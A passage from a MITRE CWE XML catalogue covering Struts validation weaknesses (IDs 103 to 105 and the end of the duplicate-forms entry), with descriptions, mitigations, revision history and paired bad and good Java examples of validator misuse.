				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The DTD or schema validation will not catch the duplicate occurrence
							of the same form name. To find the issue in the implementation, manual
							checks or automated static analysis could be applied to the xml
							configuration files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Two validation forms with the same name.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;form-validation&gt;</Code>
							              <Block>
								                <Code>&lt;formset&gt;</Code>
								                <Block>
									                  <Code>&lt;form name="ProjectForm"&gt; ... &lt;/form&gt;</Code>
									                  <Code>&lt;form name="ProjectForm"&gt; ... &lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/formset&gt;</Code>
							              </Block>
							              <Code>&lt;/form-validation&gt;</Code>
						            </Block>
						            <Text>It is critically important that validation logic be maintained and
							kept in sync with the rest of the application.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Duplicate Validation Forms</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="103" Name="Struts: Incomplete validate() Method Definition" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application has a validator form that either does not
					define a validate() method, or defines a validate() method but does not call
					super.validate().</Description_Summary>
				        <Extended_Description>
					          <Text>If you do not call super.validate(), the Validation Framework cannot check
						the contents of the form against a validation form. In other words, the
						validation framework will be disabled for the given form.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This could introduce other weaknesses related to missing input
						validation.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The current description implies a loose composite of two separate
						weaknesses, so this node might need to be split or converted into a
						low-level category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The Struts Validator uses a form's validate() method to check the contents
						of the form properties against the constraints specified in the associated
						validation form. That means the following classes have a validate() method
						that is part of the validation framework: ValidatorForm,
						ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you
						create a class that extends one of these classes, and if your class
						implements custom validation logic by overriding the validate() method, you
						must call super.validate() in your validate() implementation.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Disabling the validation framework for a form exposes the application
							to numerous types of attacks. Unchecked input is the root cause of
							vulnerabilities like cross-site scripting, process control, and SQL
							injection.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Although J2EE applications are not generally susceptible to memory
							corruption attacks, if a J2EE application interfaces with native code
							that does not perform array bounds checking, an attacker may be able to
							use an input validation mistake in the J2EE application to launch a
							buffer overflow attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement the validate() method and call super.validate() within that
							method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user input data from a
						registration webpage for an online business site. The user will enter
						registration data and the RegistrationForm bean in the Struts framework will
						maintain the user data. Tthe RegistrationForm class implements the validate
						method to validate the user input entered into the form.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// private variables for registration form</Code>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {</Code>
								                <Block>
									                  <Code>ActionErrors errors = new ActionErrors();</Code>
									                  <Code>if (getName() == null || getName().length() &lt; 1)
										{</Code>
									                  <Block>
										                    <Code>errors.add("name", new
											ActionMessage("error.name.required"));</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>return errors;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code/>
							              <Block>
								                <Code>// getter and setter methods for private variables</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
						            </Block>
						            <Text>Although the validate method is implemented in this example the method
							does not call the validate method of the ValidatorForm parent class with
							a call super.validate(). Without the call to the parent validator class
							only the custom validation will be performed and the default validation
							will not be performed. The following example shows that the validate
							method of the ValidatorForm class is called within the implementation of
							the validate method.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// private variables for registration form</Code>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {</Code>
								                <Block>
									                  <Code>ActionErrors errors = super.validate(mapping,
										request);</Code>
									                  <Code>if (errors == null) {</Code>
									                  <Block>
										                    <Code>errors = new ActionErrors();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code/>
								                <Code>if (getName() == null || getName().length() &lt; 1) {</Code>
								                <Block>
									                  <Code>errors.add("name", new
										ActionMessage("error.name.required"));</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return errors;</Code>
							              </Block>
							              <Code> }</Code>
							              <Code/>
							              <Block>
								                <Code>// getter and setter methods for private variables</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Erroneous validate() Method</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Description, Other_Notes, Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="104" Name="Struts: Form Bean Does Not Extend Validation Class" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>If a form bean does not extend an ActionForm subclass of the
					Validator framework, it can expose the application to other weaknesses related
					to insufficient input validation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>In order to use the Struts Validator, a form must extend one of the
						following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and
						DynaValidatorForm. You must extend one of these classes because the Struts
						Validator ties in to your application by implementing the validate() method
						in these classes. Forms derived from the ActionForm and DynaActionForm
						classes cannot use the Struts Validator.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Bypassing the validation framework for a form exposes the application
							to numerous types of attacks. Unchecked input is an important component
							of vulnerabilities like cross-site scripting, process control, and SQL
							injection.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Although J2EE applications are not generally susceptible to memory
							corruption attacks, if a J2EE application interfaces with native code
							that does not perform array bounds checking, an attacker may be able to
							use an input validation mistake in the J2EE application to launch a
							buffer overflow attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all forms extend one of the Validation Classes.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user information from a
						registration webpage for an online business site. The user will enter
						registration data and through the Struts framework the RegistrationForm bean
						will maintain the user data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.action.ActionForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// private variables for registration form</Code>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>// getter and setter methods for private variables</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the RegistrationForm class extends the Struts ActionForm
							class which does not allow the RegistrationForm class to use the Struts
							validator capabilities. When using the Struts framework to maintain user
							data in an ActionForm Bean, the class should always extend one of the
							validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm
							or DynaValidatorActionForm. These validator classes provide default
							validation and the validate method for custom validation for the Bean
							object to use for validating input data. The following Java example
							shows the RegistrationForm class extending the ValidatorForm class and
							implementing the validate method for validating input data.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Code>// private variables for registration form</Code>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {...}</Code>
								                <Code/>
								                <Code>// getter and setter methods for private variables</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Note that the ValidatorForm class itself extends the ActionForm class
							within the Struts framework API.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Form Bean Does Not Extend Validation
						Class</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="105" Name="Struts: Form Field Without Validator" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application has a form field that is not validated by a
					corresponding validation form, which can introduce other weaknesses related to
					insufficient input validation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Omitting validation for even a single input field may give attackers the
						leeway they need to compromise your application. Unchecked input is the root
						cause of some of today's worst and most common software security problems.
						Cross-site scripting, SQL injection, and process control vulnerabilities can
						stem from incomplete or absent input validation. Although J2EE applications
						are not generally susceptible to memory corruption attacks, if a J2EE
						application interfaces with native code that does not perform array bounds
						checking, an attacker may be able to use an input validation mistake in the
						J2EE application to launch a buffer overflow attack. Some applications use
						the same ActionForm for more than one purpose. In situations like this, some
						fields may go unused under some action mappings. It is critical that unused
						fields be validated too. Preferably, unused fields should be constrained so
						that they can only be empty or undefined. If unused fields are not
						validated, shared business logic in an action may allow attackers to bypass
						the validation checks that are performed for other uses of the form.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that you validate all form fields. If a field is unused, it is
							still important to constrain it so that it is empty or
							undefined.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example the Java class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user input data from a
						registration webpage for an online business site. The user will enter
						registration data and, through the Struts framework, the RegistrationForm
						bean will maintain the user data in the form fields using the private member
						variables. The RegistrationForm class uses the Struts validation capability
						by extending the ValidatorForm class and including the validation for the
						form fields within the validator XML file, validator.xml.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Comment>// private variables for registration form</Comment>
								                <Code>private String name;</Code>
								                <Code>private String address;</Code>
								                <Code>private String city;</Code>
								                <Code>private String state;</Code>
								                <Code>private String zipcode;</Code>
								                <Code>private String phone;</Code>
								                <Code>private String email;</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
